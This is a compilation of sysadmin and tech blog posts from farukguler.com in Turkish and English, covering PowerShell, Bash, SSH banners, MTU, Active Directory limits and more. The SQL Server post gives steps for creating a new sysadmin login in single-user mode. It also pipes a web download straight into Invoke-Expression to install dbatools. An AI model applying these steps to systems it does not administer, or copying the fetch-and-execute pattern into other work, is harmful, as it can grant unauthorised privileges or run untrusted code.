"OU=Test_BN,DC=guler,DC=com" # Replace with the organizational unit path$firstName = "Ahmet" # Replace with the user's first name$lastName = "Mehmet" # Replace with the user's last name#Create a new mailboxNew-Mailbox -UserPrincipalName $userPrincipalName -Alias $alias -Database $database -Name $displayName -OrganizationalUnit $ou -Password $password -FirstName $firstName -LastName $lastName##Any other operations# create# delete# other exc ops.#Remove the remote sessionRemove-PSSession $Session --- ## What is Linux Bash and Bash Script Link: https://farukguler.com/posts/what-is-linux-bash-and-bash-script/ Linux Bash, bir Unix/Linux tabanlı işletim sistemi için varsayılan komut satırı kabuğudur. Kabuk, kullanıcının sistemle etkileşimde bulunabilmesi için bir arayüz sağlar. Kullanıcılar kabuk aracılığıyla komutlar yazabilir, programlar çalıştırabilir, dosyaları yönetebilir ve sistem yapılandırmasını değiştirebilirler. Bash script ise, Bash kabuğu komutlarının bir araya getirilmesiyle oluşturulan betiklerdir. Bash scriptler, birçok görevi otomatikleştirmek ve sistem yönetimi için özelleştirilmiş görevleri yerine getirmek için kullanılabilir. Bash scriptler, sistem yönetimi, günlük dosyalarını yönetme, yedekleme işlemleri, ağ yönetimi ve diğer birçok görev için kullanılabilir. Bash scriptler, sh uzantılı dosyalar olarak kaydedilir ve yürütülebilir hale getirilebilir. Bash harici Sıkça kullanılan bazı diğer Sheller: Zsh (Z Shell): Bash ile benzer özelliklere sahip olan bir kabuk ancak daha gelişmiş özellikler sunar. Otomatik tamamlama, renkli çıktı, dosya yönetimi ve araçları gibi gelişmiş özelliklere sahiptir. Ksh (Korn Shell): AT&T tarafından geliştirilen bir kabuk. Bash ile benzer özelliklere sahip olan Ksh, Bash'tan daha hızlı ve daha düşük bellek tüketimine sahiptir. Csh (C Shell): C programlama diline benzer bir dil yapısına sahip olan kabuk. Unix ve Linux sistemlerinde sıkça kullanılan bir kabuk olmasına rağmen, bazı eleştirmenler tarafından kaba bir dil yapısına sahip olduğu ve sınırlı özellikleri olduğu için önerilmez. Fish (Friendly Interactive SHell): Kullanımı kolay, modern ve etkileşimli bir kabuk. Otomatik tamamlama ve renkli çıktı gibi özelliklere sahiptir. Kullanıcı dostu arayüzü ve zengin bir özellik kümesi ile dikkat çeker. Tcsh (TENEX C Shell): Csh'nin geliştirilmiş bir versiyonu olan Tcsh, Csh'ye kıyasla daha gelişmiş özellikler sunar. Otomatik tamamlama, komut satırı düzenleme ve tarih işleme gibi özelliklere sahiptir. Peki Bash Shell Script Nedir? Bash shell script, Bash kabuğu tarafından yürütülebilen betiklerdir. Bash shell scriptleri, Bash komutları ve programlama yapıları kullanılarak yazılır ve kabuğun etkileşimli kullanımıyla aynı işlevleri yerine getirebilirler. Bu scriptler, sistem yönetimi, dosya yönetimi, ağ yönetimi, yedekleme işlemleri, günlük dosyalarının yönetimi ve diğer birçok görev için kullanılabilir. Bash shell scriptleri, bir veya daha fazla komutu bir araya getirerek betik dosyaları olarak yazılır. Bu betikler, çalıştırılabilir dosya olarak işaretlenebilir ve ardından terminalde "./script_name" komutu kullanılarak çalıştırılabilir. Bash shell scriptleri, komutları ardışık olarak yürütmek, koşul ve döngü işlemleri, değişkenler ve fonksiyonlar gibi programlama yapıları kullanılarak karmaşık görevleri otomatikleştirmek için kullanılabilir. UNIX kabuğu (shell) tarafından çalıştırılması veya yürütülmesi için hazırlanan komut satırı tabanlı küçük bilgisayar programlarıdır. Basit bir metin dosyasının içine yerleştirilen Shell Script’in içinde UNIX kabuğunundakine benzeyen çalıştırılabilir komutlar yer alır. Tıpkı gerçek bir programda olduğu gibi Shell Script’in içinde sistem kabuğuna ne yapacağı talimatını veren komutlar, parametreler ve alt komutlar vardır. bunu Windows tarafındaki Powershell ISE toolu' na benzetebiliriz. Powershell' de script uzantısı ipcheck.Ps1 iken Bash Shell' de bu uzantı ipcheck.sh olacaktır. Bash Script’i nasıl kullanacağız: 1) ipcheck.sh uzantılı yeni bir dosya oluşturalım. 2) satır başına #!/bin/bash ekleyin. Bu, “çalıştırılabilir yapacağım” demektir.3) komut satırında kullanacağımız satırları ekleyip kaydedelim.4) scripti ilgili dizine gidip "sudo bash ipcheck.sh" veya sudo sh ipcheck.sh komutuyla çalıştıralım.4) yetki sorunu ile karşılaşırsak "chmod u+x ipcheck.sh" kendimize execute yetkisi verelim.5) ek olarak "./ipcheck.sh" bu komutla yazdığımız Script'i çalıştırabiliriz. #Aşağıdaki komutla sistemimizdeki mevcut kabukları görelim: cat /etc/shells #Şuan hangi kabuk üzerinde yer aldığımızı öğrenmek için: echo $SHELL İlgili dizine dosya indirmek için(indir.sh): #!/bin/bash # cekilecek dosya/yol wget 'egm.gov.tr/kurumlar/egm.gov.tr/anasayfaTasarim/Ataturk/atam_2.jpg' Fiziksel Ip Adresi öğrenmek(ipcheck.sh): #! /bin/bash # gerekli bash komutu ip=$(ip address| awk '/inet/ {print $2}' | grep -v ^::1 | grep -v ^127) #IP adresini yansıt echo "IP adres / MAC" echo "$ip" Dış Ip Adresi öğrenme): #! /bin/bash # gerekli bash komutu - Ext_ipcheck.sh wget -qO- ifconfig.me/ip Saygılarımla – Best regards. --- ## What is Content Management System (CMS)? Link: https://farukguler.com/posts/content-management-system-cms/ Websites are no longer one-page business cards with simple HTML and design like they were in the early 90s. Today's websites are often complex ecosystems of pages, images, links, system integrations, self-service, shopping, and other functions. For all these elements to come together, they need to be organized by a content management system. So what is CMS? What is Content Management System (CMS)? Content management system (CMS) – a content management system is a computer software system that manages and regulates the creation, modification, and publication of digital content such as documents and images, often in a collaborative environment, for presentation on a website. It is easy to use and requires little or no experience to operate. Instead of having to rely on multiple systems to create, publish and archive various elements of your website (e.g. web design, image storage, content creation and functionality), you can control most of its functionality with the CMS. A CMS is a great solution for those struggling with the above challenges and needing a new way to organize their daily content creation. CMS performs many tasks, both visible and invisible. Some of the most common features that a content management system provides are as follows: -Editing text-metadata-Design-General site hierarchy-URL logic-Media-Release dates-User roles-Organization of different posts and pages within the hierarchy-History editing and version control-Indexing-Call Some of these features can be changed or removed by any user, even with limited technical knowledge. All these features are performed by the CMS, which is a great advantage and time saver for the editorial and marketing teams. Some other advantages of CMS include: It reduces the need for coding from scratch.Creating a unified look and feel is easy.Disadvantages may include: Layouts, web apps, etc. Limited or non-existent ability to create functionality not envisioned in the original CMS.Content writers need special expertise and training. How CMS Works ? A CMS has two core elements: a content management application (CMA) and a content delivery application (CDA). Content Management Application (CMA): CMA is the front end of the CMS where users create, manage and edit their content. Some CMS programs may have prebuilt templates that store common edits and create frequently repeated operations. This makes it easier for the user to refer to their parts. Content Delivery Application (CDA): CDA, also called content delivery network (CDN), is the behind the scenes of CMA and helps to store, publish and improve website responsiveness and load times. The combination of the two sub-interfaces ensures that creators don't need to know HTML or JavaScript coding, but having experience with coding can be helpful. If you know what it's like to build a website from scratch, it can help you focus on desired website design skills in the overall website creation and publishing process. Of course, these skills are not necessary. Users with little or no coding experience can achieve the same result. What are the Key Features of CMS? A CMS has two core elements: a content management application (CMA) and a content delivery application (CDA). Content Management Application (CMA): CMA is the front end of the CMS where users create, manage and edit their content. Some CMS programs may have prebuilt templates that store common edits and create frequently repeated operations. This makes it easier for the user to refer to their parts. Content Delivery Application (CDA): CDA, also called content delivery network (CDN), is the behind the scenes of CMA and helps to store, publish and improve website responsiveness and load times. The combination of the two sub-interfaces ensures that creators don't need to know HTML or JavaScript coding, but having experience with coding can be helpful. If you know what it's like to build a website from scratch, it can help you focus on desired website design skills in the overall website creation and publishing process. Of course, these skills are not necessary. Users with little or no coding experience can achieve the same result. What are the Key Features of CMS? A CMS has many features that are more fundamental than others. That's why you need to consider the following points when searching for the CMS that best fits your needs: Multi-language option: Not everyone speaks the language in which the original content was published. The ability to translate content into various languages ​​and make it available to a wider audience is a must when looking for a CMS platform. Customer support: Do research on multiple CMS companies, take the time to read customer reviews and see how companies are handling these issues. If the company has a bad reputation for customer support, you should not choose this CMS. Compatibility with mobile devices: According to Statista, 50.81% of global website traffic is generated through a mobile device. That's why it's important to find a CMS that is mobile-friendly and adapts your website to fit any device. User-friendly: It is very difficult to find a CMS that meets most of the expectations of your current and future audience. This means it should have fast page load times and offer design options that allow you to make your site more visually appealing. Access to Search Engine Optimization (SEO) tools: Access to the right SEO tools is important in a CMS platform, not just for your website in general. That's why you need to choose a CMS that allows you to customize your website to appear SEO friendly. meta-descriptions;Page titles;“rel=" tags (rel="next", rel="prev");Title tags;URLSecurity: Of course, you need to make sure you invest in a safe and secure CMS so that there is little risk of your valuable company information being hacked. Why Do You Need CMS? One of the advantages of a CMS is that it can offer users a way for easy collaboration between other creators and the production process. Additional benefits include: -Improved site maintenance techniques-Streamlined programs-Ability to have multiple website contributors who can log in at any time (given access) and edit/add content-Full control over the design and progress of your website-A CMS, among other SEO services, can help make your website the best it can be. Content Management System (CMS) Examples Drupal Episerver Ghost Hubspot Joomla osCommerce Magento ModX PrestaShop Squarespace Webflow Weebly Wix WordPress To summarize, content management systems are capable of developing blogs, social networks, online courses and more. It also helps you build a successful website. --- ## THORChain (RUNE) Nedir? Zincirler Arası Gerçek Takas Link: https://farukguler.com/posts/thorchain-rune-nedir/ THORChain (RUNE), farklı blockchain ağlarının (Bitcoin, Ethereum, BNB Chain, vb.) yerel varlıklarını (native assets) doğrudan takas etmenize olanak tanıyan merkeziyetsiz bir cross-chain (zincirler arası) likidite protokolüdür. Basitçe söylemek gerekirse, THORChain, gerçek, yerel BTC’nizi alıp, bunu gerçek, yerel ETH’ye dönüştürmenizi sağlar; bunu merkezi bir borsaya (CEX) veya bir köprüye (bridge) ihtiyaç duymadan, tamamen merkeziyetsiz bir şekilde yapar. THORChain, kendisi Cosmos SDK üzerine kurulu bir Layer 1 blockchain’dir ve tüm bu zincirler arası takas sisteminin merkezinde yerel token’ı RUNE bulunur. THORChain’in Çözdüğü Problem: Köprüler ve “Sarılmış” Varlıklar Geleneksel olarak, farklı iki blockchain’deki varlıkları takas etmenin iki yolu vardı: Merkezi Borsa (CEX): BTC’nizi bir borsaya yatırır, ETH’ye karşı satar ve ETH’nizi kendi cüzdanınıza çekersiniz. Bu, merkezi, izne tabi ve velayet (custody) gerektiren bir çözümdür. Köprüler (Bridges) ve Sarılmış (Wrapped) Varlıklar: BTC’nizi bir köprüye “kilitler” ve karşılığında Ethereum ağında “Wrapped BTC” (WBTC) alırsınız. Daha sonra bu WBTC’yi Uniswap gibi bir DEX’te ETH ile takas edersiniz. Sorun: Bu yöntem, köprünün güvenliğine bağımlıdır (köprüler hack’lenebilir) ve elinizdeki varlık “gerçek” BTC değil, sadece bir borç senedidir. THORChain, bu iki sorunu da ortadan kaldırır. Sarmaya (wrapping) veya köprülemeye (bridging) gerek kalmadan, varlıkların yerel halleriyle takas edilmesini sağlar. THORChain Nasıl Çalışır? Çekirdek Teknoloji THORChain’in “sihri”, üç temel bileşenin bir araya gelmesiyle çalışır: 1. RUNE: Evrensel Köprü Varlığı THORChain’de bir “BTC/ETH” havuzu bulunmaz. Bunun yerine, her varlık RUNE ile eşleştirilir. Bir BTC / RUNE havuzu vardır. Bir ETH / RUNE havuzu vardır. Bir BNB / RUNE havuzu vardır. Bir kullanıcı BTC’den ETH’ye takas yapmak istediğinde, THORChain arka planda iki işlem yapar: Kullanıcının BTC’sini alır ve BTC / RUNE havuzunda RUNE’a çevirir. Elde ettiği RUNE’u anında ETH / RUNE havuzunda ETH’ye çevirir ve yerel ETH’yi kullanıcıya gönderir. RUNE, ağdaki tüm havuzlar arasında likiditeyi birbirine bağlayan “evrensel köprü varlığı” veya “yerleşim varlığı” (settlement asset) olarak görev yapar. 2. Eşik İmza Şemaları (TSS) - Threshold Signature Schemes “THORChain, akıllı sözleşmesi olmayan Bitcoin’i nasıl yönetiyor?” sorusunun cevabı TSS’dir. THORChain’in ağı, THORNode adı verilen düzinelerce düğüm (node) tarafından güvence altına alınır. Bu düğümler, ağdaki tüm likidite havuzlarının (Bitcoin, Ethereum, vb.) cüzdanlarını kolektif olarak kontrol eder. TSS: Bir varlığın (örn. BTC) havuzdan çıkması için, tek bir düğümün imzası yeterli değildir. Düğümlerin (Node’ların) üçte ikisi gibi büyük bir çoğunluğunun, işlemi kriptografik olarak (TSS) imzalaması gerekir. Bu, fonların tek bir varlığın kontrolünde olmamasını (non-custodial) ve çalınmasının aşırı derecede zor olmasını sağlar. 3. Sürekli Likidite Havuzları (CLP) THORChain, takasları kolaylaştırmak için Uniswap benzeri bir Otomatik Piyasa Yapıcı (AMM) modeli kullanır. Likidite sağlayıcılar (LP’ler), havuza 50% varlık ve 50% RUNE (örn. 1000$ değerinde BTC ve 1000$ değerinde RUNE) yatırırlar. Karşılığında, takas ücretlerinden pay alırlar. RUNE Token’ının Ekonomik Modeli RUNE, sadece bir “gas” token’ı değildir; THORChain’in güvenlik ve ekonomik modelinin tam merkezindedir. Likidite Eşleşmesi (Zorunlu): Ağdaki her likidite havuzunun %50’si RUNE olmak zorundadır. Ağa 1 Milyar Dolarlık BTC, ETH, BNB likiditesi eklenirse, bu varlıkları eşleştirmek için 1 Milyar Dolarlık RUNE‘un da havuzlara kilitlenmesi gerekir. Bu, RUNE için güçlü bir ekonomik talep yaratır. Ekonomik Güvenlik (Node Bağı - Bonding): Ağı çalıştıran THORNode’ların, RUNE token’larını “bağlaması” (bond) zorunludur. Teşvik Pendulumu (Incentive Pendulum): Ağın güvenli kalması için, düğümlerin bağladığı (bonded) RUNE miktarının, havuzlardaki (pooled) RUNE miktarından daha fazla (ideal olarak 2 katı) olması gerekir. Güvenlik Garantisi: Ağa kilitlenen toplam RUNE miktarı, havuzlardaki dış varlıkların (BTC, ETH vb.) değerinden her zaman daha fazladır. Düğümler (Node’lar) varlıkları çalmaya çalışırsa, kendi bağladıkları ve değer olarak daha fazla olan RUNE’larını kaybederler (slashing). Bu, hırsızlığı ekonomik olarak kârsız hale getirir. Ağ Ücretleri (Gas): THORChain üzerindeki tüm takas işlemlerinde (swap fee) ve iç ağ işlemlerinde (gas) ücretler RUNE olarak ödenir. Yönetişim: RUNE sahipleri, ağın geleceği, yeni eklenecek zincirler veya ücret değişiklikleri gibi konularda oy kullanabilir. Önemli Özellik: Impermanent Loss (Geçici Kayıp) Koruması THORChain, likidite sağlayıcıları (LP) için en büyük risk olan “geçici kaybı” (Impermanent Loss) azaltmak için bir koruma mekanizması sunar. Bir LP, likiditesini havuzda yeterince uzun (örn. 100 gün) tutarsa, THORChain protokolü, LP’nin sadece varlıklarını tutsaydı elde edeceği değere kıyasla herhangi bir kayıp yaşamamasını garanti eder. --- ## How to Set Message (MOTD) Banner Link: https://farukguler.com/posts/how-to-set-message-banner/ Let's edit the SSH banner file. The /"etc/motd" file is usually used. You can open the file using the following command: sudo nano /etc/motd In the text editor, create or edit your SSH message banner. _ _ ___ _ __ ( )_ ( ) ( _`\ (_ ) /' _`\ | ,_)| |__ __ | ( (_) _ _ | | __ _ __ | ( ) | | | | _ `\ /'__`\ | |___ ( ) ( ) | | /'__`\( '__)| | | |(`\/')| |_ | | | |( ___/ | (_, )| (_) | | | ( ___/| | | (_) | > < `\__)(_) (_)`\____) (____/'`\___/'(___)`\____)(_) `\___/'(_/\_)>>farukguler.com After saving the changes, restart the SSH service for them to take effect. You can use the following commands: sudo systemctl restart sshsudo systemctl restart sshdsudo systemctl status sshsudo systemctl status sshd#Now SSH message banner is set on your server. When you next SSH session opens, your banner will be displayed to all your users. Also, to apply Banner to Server Console and SSH interface with #Banner /etc/issue.net file: You need to set the "banner path" in the SSH configuration file (sshd_config). sudo nano /etc/ssh/sshd_config In the editor, look for the "Banner" parameter. If it is a comment line (starts with "#"), edit it as follows, removing the "#". # Banner /etc/issue.net Below you will find sections where you can edit the two areas where you want to apply a banner. #sudo nano /etc/issue.net (SSH Client)\SKernel \r on an \msudo nano /etc/issue (Server Consolu)\SKernel \r on an \m+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-++-+-+-+-+-+-+-+ farukguler.com+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-++-+-+-+-+-+-+-+ Host Name: \n Time: \d \t System IP address: \4 User Name: faruk Location: Istanbul Ubuntu 22.04.2 LTS \n \l ____ ______ _ / __/__ _____ _____ ____ / ___(_)___(_)__ _\ \/ -_) __/ |/ / -_) __/ / (_ / / __/ (_-</___/\__/_/ |___/\__/_/ \___/_/_/ /_/___/ >>>Server Giris >>https://www.ascii-art-generator.org >>https://www.coolgenerator.com/ascii-text-generator After saving the changes, restart the SSH service for them to take effect. You can use the following commands: sudo systemctl restart ssh sudo systemctl restart sshd sudo systemctl status ssh sudo systemctl status sshd #You are readyssh user@server-ipssh faruk@10.5.x.x Umarım faydalı olmuştur. – I hope it was useful. --- ## Windows 10 internet simgesi yok, açılmıyor, disable Link: https://farukguler.com/posts/windows-10-internet-simgesi-yok-acilmiyordisable/ Wi-Fi simgesi veya Kablolu simgesi, bilgisayarımızdaki internet bağlantısının durumunu gösterir. Ancak bazen, bu simgeler kaybolabilir veya görünmez olabilir. Bu durum genellikle bağlantı sorunları, sürücü eksikliği veya virüsler nedeniyle ortaya çıkar. Aşağıdaki adımları izleyerek bu sorunu çözebilirsiniz: Regedit: HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\NlaSvc\Parameters\Internet ADD: EnableActiveProbing Kolaylıklar dilerim. – I wish everyone good luck. --- ## What is MTU? (Maximum Transmission Unit) Maksimum İletim Birimi Nedir ? Link: https://farukguler.com/posts/maximum-transmission-unit-mtu/ mturoute.exe - Debug the MTU Measurement Tool mturoute.exe – MTU Ölçüm ve hata ayıklama Toolu Download: https://elifulkerson.com/projects/mturoute.php The maximum amount of data that a physical network can carry in the data section of its frame is called MTU (Maximum Transmission Unit). MTU is the maximum number of bytes that a Data-Link protocol can wrap. MTU values may vary from network to network. The maximum size of a data packet is 65,535 bytes. If the size of the sent data packet is larger than the MTU (Maximum Transmission Unit) value of the sent network, this data packet is sent by dividing it into smaller units. These units are also called Fragmentation. This division process is executed by routers. The router determines the incoming packet according to the type of network to which it will go and sends it by dividing it into smaller units according to the MTU value of that network. Networks are not responsible for the separation into these units. Splitting data packets into too many fragmentations can lead to inefficiency. It will also take some time to convert these fragmentations to the original packet. This causes the speed of the network to decrease. So MTU needs to be fine tuned. Networks are given some priority to support the widest MTUs. Especially to networks related to research. The MTU value for Ethernet networks is 1500 Bytes. This means that a packet entering an Ethernet network can have a maximum size of 1500 bytes. Too low MTU size can also cause significant performance loss. MTU values for network types: HYPERchannel 65,535 Token Ring(16Mbps) 17,914 Token Ring(4Mbps) 4.464 FDDI 4,352 Ethernet 1,500 X.25 5.76 Dial-up 576 PPP 296 xDSL 1442 – 1492 Umarım faydalı olmuştur. – I hope it was useful. --- ## SSCB'nin son lideri Mihail Sergeyeviç Gorbaçov yaşamını yitirdi. Link: https://farukguler.com/posts/sergeyevic-gorbacov/ MİHAİL GORBAÇOV KİMDİR? Mihail Sergeyeviç Gorbaçov, 2 Mart 1931'de Rusya'nın Stavropol Krayı'nda doğmuş bir Sovyet siyasetçi ve devlet adamıdır. 1985'ten 1991'e kadar Sovyetler Birliği'nin son lideri olarak görev yapmıştır. Gorbaçov, Sovyetler Birliği'nin son döneminde yapısal reformlar yapmıştır. Bu reformlar, perestroyka (yeniden yapılanma) ve glasnost (açıklık) olarak bilinir. Perestroyka, Sovyet ekonomisinin yeniden yapılandırılmasını, özelleştirilmesini ve daha az merkezi kontrole izin verilmesini amaçlıyordu. Glasnost, daha önce sansürlenen haberlerin ve bilgilerin yayınlanmasına ve insan haklarına daha fazla saygı gösterilmesine olanak tanıdı. Gorbaçov, aynı zamanda Soğuk Savaş döneminde Doğu ve Batı arasındaki gerilimi azaltmak için çaba gösterdi. Bu amaçla, 1986'da ABD Başkanı Ronald Reagan ile bir araya gelerek nükleer silahların azaltılmasını konuşan İzlanda Zirvesi'ni düzenledi. 1989'da, Almanya'nın birleşmesine izin veren Berlin Duvarı'nın yıkılması da Gorbaçov döneminde gerçekleşti. Ancak, Gorbaçov'un reformları Sovyet ekonomisinde belirsizlik ve kaos yaratırken, bazı Sovyet cumhuriyetleri bağımsızlık talep etti. Bu durum, 1991'de Sovyetler Birliği'nin dağılmasına yol açtı ve Gorbaçov görevinden istifa etti. Gorbaçov, Sovyetler Birliği'nin son lideri olarak, tarihe önemli bir figür olarak geçti ve dünya çapında saygı gördü. Gorbaçov, 30 Ağustos 2022 tarihinde tedavi gördüğü hastanede yaşamını yitirdi. --- ## Resetting the Sql Server Forgotten “SA” Password with 4 Different Methods Link: https://farukguler.com/posts/resetting-sql-sa-password/ Bunlar; Windows Authentication, Single User Mode, Command Line pass reset ve Dbatools powershell yöntemleridir. Hemen bu yöntemler üzerinden adım adım şifre değiştirmeyi nasıl gerçekleştireceğimize bakalım. These; Windows Authentication, Single User Mode, Command Line pass reset and Dbatools are powershell methods. Let's take a look at how to change the password step by step through these methods. 1: Windows Authentication - Open Sql Server Management Studio, from the login window that appears, select the Windows Authentication Option as below and say Connect - After the connection is established, follow the steps below, and you will change the (SA) password. To briefly explain the steps of the screenshot below, we open the Server breakdown by clicking the + sign. We open the Security breakdown, then Login and double-click the sa user here, as seen in Step 4. Press the OK button and the process is complete. 2: Single User Mode - Tek Kullanıcı Modu If you have not activated Windows Authentication, you can also try this method. This method will be executed via Command Prompt. Run cmd(Command Line) tool as Administrator. Then follow the steps below in order. $net stop MSSQLSERVER $net start MSSQLSERVER -m”SQLCMD” #Thus, we have switched to the sqlcmd tool. Run the command below while in sqlcmd, but replace the parts that say name and password with the username-password you want and run it, then type "GO" and run it. $CREATE LOGIN name WITH PASSWORD=’password’ $SP_ADDSRVROLEMEMBER name,’SYSADMIN’ $exit $net stop MSSQLSERVER && net start MSSQLSERVER #Now open Sql Server Management Studio and select the Windows Authentication option in step 1 as Sql Server Authentication and log in by entering your newly created username and password. 3: Command Line pass reset - Komut Satırı şifre reset Again, we open the command line in "Administrator" mode and run the command below. $osql -L #Then run the command below, but write your own server name in the section that says server. for example my sql server name is DESKTOP-HYJS45 $OSQL -S DESKTOP-HYJS45 -E $EXEC sp_password NULL, ‘password’, ’sa’ $exit #If you run the above command directly (sa) your password will be "password". 4: Dbatools in powershell Dbatools is an open source powershell project. With this project, you can do your daily work in seconds. We will use the Reset-DbaAdmin function to solve this problem. First of all, you should add this project to your own computer as a module. If you have an internet connection, things are very easy, you can install this module with a single command. However, if you do not have an internet connection, you will first need to learn the location of your powershell modules from the environment path. You should copy and import the file you downloaded to one of those paths. $Invoke-Expression (Invoke-WebRequest https://dbatools.io/in) #OR $Install-Module dbatools IF YOU DO NOT HAVE AN INTERNET CONNECTION: https://github.com/sqlcollaborative/dbatools/archive/development.zip download the file here! $env:PSMODULEPATH #Run this command in powershell and open the zip you downloaded to one of those folders. I used this folder. (C:\ProgramFiles\WindowsPowershell\Module) $Import-Module dbatools $Reset-DbaAdmin -SqlInstance . –Login guleruser #It will ask you for a password. You must provide a very strong password. Otherwise, you cannot connect to the system because the password criteria do not meet. #It will automatically restart the service. You can connect to the system and see that the user "guler-user" has been created. Problem solved. Umarım faydalı olmuştur. - I hope it was useful. --- ## Windows 10 Search bar Not Working Link: https://farukguler.com/posts/windows-10-arama-calismiyor/ PS: reg add “HKCU\Software\Microsoft\Windows\CurrentVersion\Search” /v BingSearchEnabled /t REG_DWORD /d 0 /f reg add “HKCU\Software\Microsoft\Windows\CurrentVersion\Search” /v CortanaConsent /t REG_DWORD /d 0 /f tskill searchui #Restart-Computer --- ## AD Query User by Last Logon Date [Value=LastLogonTimeStamp] Link: https://farukguler.com/posts/last-logon-by-day-for-active-directory/ Get-ADUser -Filter * -SearchBase “ou=uyeler,dc=guler,dc=com” -ResultPageSize 0 -Prop CN,lastLogonTimestamp | Select CN,@{n=”lastLogonTimestamp”;e={[datetime]::FromFileTime($_.lastLogonTimestamp)}} | Export-CSV c:\pw_last_logon_users.csv -NoTypeInformation --- ## Active Directory Group Policy Modeling Wizard and Results Link: https://farukguler.com/posts/active-directory-group-policy-modeling/ If you are using the Group Policy Management Console on Active Directory, the following titles has caught your attention.Due to its nature, the GPO is applied on a site, domain or OU basis. A computer or user cumulatively receives all GPO policies applied to it. You can sort of think of it so that the sum of them all (except in conflict, the nearest gpo will be the most dominant gpo at the time of conflict) is applied. In a small company organization, the system administrator can easily manage this architecture. But in very large organizations, sometimes GPO conflicts can cause even massive outages. Therefore, before you make a GPO change or if you want to check how it will turn out before applying a planned GPO change, you can use the GPO Modeling feature. Group Policy Result is sometimes confused with Modeling because they both have concepts such as target computer, user, but Result is used to see the GPO settings applied to an existing user or machine, while Modeling will show results for a GPO model that you have not yet implemented but that you intend to test and simulate. --- ## BranchCache Enabling Windows Server Link: https://farukguler.com/posts/enabling-branchcache-on-win-server-or-win-10/ I will talk about the BranchCache feature that comes with Windows 7 and Windows Server 2008 R2. BranchCache offers us great benefits in making the most effective and efficient use of our existing network and preventing unnecessary network traffic. For example, when the client computer pulls a file or an application from our central server, the BranchCache feature keeps this file in the cache of the downloaded client computer instead of downloading it from the server many times, and when another client computer requests the same file, BranchCache takes the same file from the first downloaded client computer and prevents unnecessary network traffic. . One of the biggest benefits this brings us will be to use our bandwidth at the maximum level. To expand our example further, in a business with 1000 clients, a high bandwidth will consume your speed and time when the (X) file or application has to be downloaded to each client computer. The BranchCache feature kicks in at this very moment and saves you.You can activate it easily with the GPO. (Group Policy) Supported protocolsHTTP-HTTPS: Web browser and other applicationsSMB: File sharingBITS: It is a Windows component. Its main purpose is to send a piece of content from the server to the client when the network usage is low. Kolaylıklar dilerim. – I wish everyone good luck. --- ## Active Directory Max Limits and Scalability Link: https://farukguler.com/posts/active-directory-max-limits-and-scalability/ Maximum Number of Objects Maximum Number of Security Identifiers Maximum Number of entries in Discretionary and Security Access Control Lists Group Memberships for Security Principals FQDN Length Limitations File Name and Path Length Limitations Additional Name Length Limitations Maximum Number of GPOs Applied Trust Limitations Maximum Number of Accounts per LDAP Transaction Recommended Maximum Number of Users in a Group Recommended Maximum Number of Domains in a Forest Recommended Maximum Number of Domain Controllers in a Domain Recommended Maximum Kerberos Settings Maximum number of non-linked attribute values Maximum size of Active Directory objects #Maximum Number of ObjectsEach domain controller in an Active Directory forest can create a little bit less than 2.15 billion objects during its lifetime.(Average lifespan of 5 years)#Maximum Number of Security IdentifiersThere is a limit of approximately 1 billion security identifiers (SIDs) over the life of a domain. This limit is due to the size of the global relative identifier (RID) pool of 30 bits that makes each SID (that is assigned to user, group, and computer accounts) in a domain unique. The actual limit is 230 or 1,073,741,823 RIDs#Maximum Number of entries in Discretionary and Security Access Control ListsThe limitation for the number of entries in a discretionary access control list (DACL) or a security access control list (SACL) of an Active Directory object using the ntSecurityDescriptor attribute comes from a limitation in the size of the access control list (ACL), which is 64K. Since access control entries (ACEs) vary in size, the actual number of entries (SIDs) is approximately 1,820.#Group Memberships for Security PrincipalsSecurity principals (that is, user, group, and computer accounts) can be members of a maximum of approximately 1,015 groups.#FQDN Length LimitationsFully qualified domain names (FQDNs) in Active Directory cannot exceed 64 characters in total length, including hyphens and periods (.)#File Name Length LimitationsThe physical files that Active Directory components use, such as SYSVOL, database (NTDS.DIT), and log file paths, are constrained by the MAX_PATH length of 260 characters, as defined by the Win32 APIs. When you are determining where to place your SYSVOL and database files during Active Directory installation, avoid nested folder structures that make the full file path to the SYSVOL folder, database, and log files longer than 260 characters.#Additional Name Length LimitationsThere are additional limitations regarding name lengths in Active Directory.-NetBIOS computer and domain names are limited to 15 characters.-Domain Name System (DNS) host names are limited to 24 characters.-OU names are limited to 64 characters.#Maximum Number of Group Policy Objects Applied(GPO's)There is a limit of 999 Group Policy objects (GPOs) that you can apply to a user account or computer account. This does not mean that the total number of policy settings on the system is limited to 999. Rather, a single user or computer will not be able to process more than 999 GPOs. This limit exists for performance reasons.#Trust LimitationsTrust limitations arise from the number of trusted domain objects (TDOs), the length of trust paths, and the ability of clients to discover available trusts. Limitations that apply include the following:Kerberos clients can traverse a maximum of 10 trust links to locate a requested resource in another domain. If the trust path between the domains exceeds this limit, the attempt to access the domain fails.When a client searches out a trust path, the search is limited to the trusts that are established directly with a domain and the trusts that are transitive within a forest.Previous testing has shown that the time to complete operations related to TDOs, such as authentication across domains, deteriorates noticeably if the Active Directory implementation in an organization contains more than 2,400 TDOs.#Maximum Number of Accounts per LDAP TransactionWhen you write scripts or applications that perform Lightweight Directory Access Protocol (LDAP) transactions, the recommended limit is to perform no more than 5,000 operations per LDAP transaction.#Recommended Maximum Number of Users in a GroupFor Windows 2000 Active Directory environments, the recommended maximum number of members in a group is 5,000. This recommendation is based on the number of concurrent atomic changes that can be committed in a single database transaction.So far, testing in this area has yet to reveal any new recommended limits to the number of members in a group or any other linked multi-valued attribute. Production environments have been reported to exceed 4 million members, and Microsoft scalability testing reached 500 million members.#Recommended Maximum Number of Domains in a ForestFor Windows 2000 Server, the recommended maximum number of domains in a forest is 800. For Windows Server 2003, the recommended maximum number of domains when the forest functional level is set to Windows Server 2003 (also known as forest functional level 2) is 1,200.#Recommended Maximum Number of Domain Controllers in a DomainBecause the File Replication Service (FRS) is used to replicate SYSVOL in a Windows Server 2003 domain, we recommend a limit of 1,200 domain controllers per domain to ensure reliable recovery of SYSVOL.#Recommended Maximum Kerberos SettingsThe maximum recommended size for a Kerberos ticket is 48,000 bytes, which is configured through the MaxTokenSize REG_DWORD value in the registry (HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Lsa\Kerberos\Parameters) or through Group Policy,The maximum allowed value of MaxTokenSize is 65,535 bytes. If you are using Kerberos for IPSEC key management, the limit of 65,536 bytes. However, because of HTTP’s base64 encoding of authentication context tokens, we do not recommend that you set the maxTokenSize registry entry to a value larger than 48,000 bytes. Starting with Windows Server 